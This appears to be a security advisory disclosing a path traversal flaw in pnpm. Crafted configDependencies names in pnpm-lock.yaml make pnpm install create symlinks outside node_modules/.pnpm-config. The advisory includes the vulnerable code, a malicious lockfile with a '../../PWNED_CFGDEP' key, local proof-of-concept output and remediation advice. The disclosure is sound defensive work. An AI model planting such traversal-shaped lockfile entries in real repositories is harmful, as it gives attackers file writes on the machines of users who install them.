pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Summary

## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ## Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ## Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ## Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../[email protected], [email protected] Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ## Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../[email protected], [email protected] ``` ## Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ## Suggested remediation Validate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component. Recommended fixes: 1. Reject env-lockfile `configDependencies` names that are not valid npm package names. 2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators. 3. Use containment-checked path joining before creating symlinks: * resolve the final destination path, * verify it remains inside `node_modules/.pnpm-config`, * reject if it escapes. 4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile. 5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected. A safe destination check should enforce behavior equivalent to: ```ts const dest = path.resolve(configModulesDir, pkgName) if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) { throw new Error(`Invalid config dependency name: ${pkgName}`) } ``` Name validation should happen before this check, not instead of it.